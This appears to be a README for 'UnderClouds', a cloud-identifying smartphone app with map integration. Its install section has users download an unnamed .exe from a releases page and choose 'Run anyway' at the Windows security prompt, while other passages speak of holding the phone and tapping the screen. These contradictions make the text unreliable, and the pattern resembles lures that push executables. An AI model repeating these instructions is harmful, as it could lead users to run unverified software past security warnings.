UnderClouds turns your smartphone into a weather station. Point your camera at the sky to identify cloud types. The app calculates how far clouds sit above you. It also shows you landmarks and details about the ground area beneath those clouds using map data. You do not need to know science to use this tool. Open the app, aim your phone, and read the results on your screen.
- Cloud Identification: The app uses image recognition to name the clouds in your view.
- Distance Estimation: Sensors calculate the approximate height and distance of observed cloud formations.
- Map Integration: The software uses OpenStreetMap data to tell you what lies on the ground below the specific patch of sky you watch.
- Offline Capability: The model runs inside the app using TFLite so you can identify clouds without an internet connection.
- GPS Tracking: The app records your location to provide accurate weather and geographic data.
To run UnderClouds on your Windows computer, verify that your machine meets these specifications:
- Operating System: Windows 10 or Windows 11 (64-bit).
- Camera: A connected webcam or built-in laptop camera for cloud capture.
- Memory: At least 4 gigabytes of RAM.
- Storage: 500 megabytes of free space.
- Permissions: Consistent access to GPS and location services is necessary for accurate mapping.
You must visit the project release page to get the latest version of the software. Follow these steps to prepare the application for your computer:
- Navigate to the official UnderClouds Releases Page.
- Look for the section marked "Assets" at the bottom of the newest release version.
- Select the file ending in
.exeto start the download. - Save the file to your desktop or your downloads folder.
- Wait for the progress bar to finish before you continue.
After you download the installation file, follow these instructions to start the app:
- Locate the downloaded
.exefile on your computer. - Double-click the file to open the installer.
- If a window appears asking for permission to run the software, select "Yes" or "Run anyway."
- Follow the prompts on your screen. The process will create an UnderClouds icon on your desktop.
- The installer will place all necessary components in the correct folders automatically.
Once the installation finishes, you can start the program from your desktop.
The first time you open UnderClouds, the app will ask for permission to use your camera and location services. Select "Allow" for these items. The app requires this data to identify clouds and provide accurate ground information. If you deny these permissions, the app will not show results.
Follow these steps to get information about the sky:
- Open the application.
- Point your camera toward the sky.
- Hold the phone or camera steady for three seconds.
- The application will process the image.
- Read the cloud name that appears at the bottom of the screen.
The app shows a small map window in the corner of your screen. This map updates based on where you point the camera. It highlights coordinates and points of interest beneath your target cloud. You can tap the map to expand it and see a larger view of the surrounding terrain.
Does the app work at night? The image recognition features function best in daylight. At night, the app may struggle to identify specific cloud formations due to low light.
Do I need an internet connection? You do not need an active internet connection to identify clouds. You only need the internet if you want to download map updates for new locations.
Can I save my results? The app keeps a history of your findings. You can open the "History" tab to see a list of every cloud you have scanned and the location where you scanned it.
Why is the distance estimation approximate? The app estimates distance using camera angles and GPS data. Weather patterns vary, so results act as a helpful guide rather than a precise scientific measurement.
How do I update the application? Check the release page periodically for new versions. When a new version releases, you can download it and run the installer again. The new version will overwrite the old one while keeping your history data intact.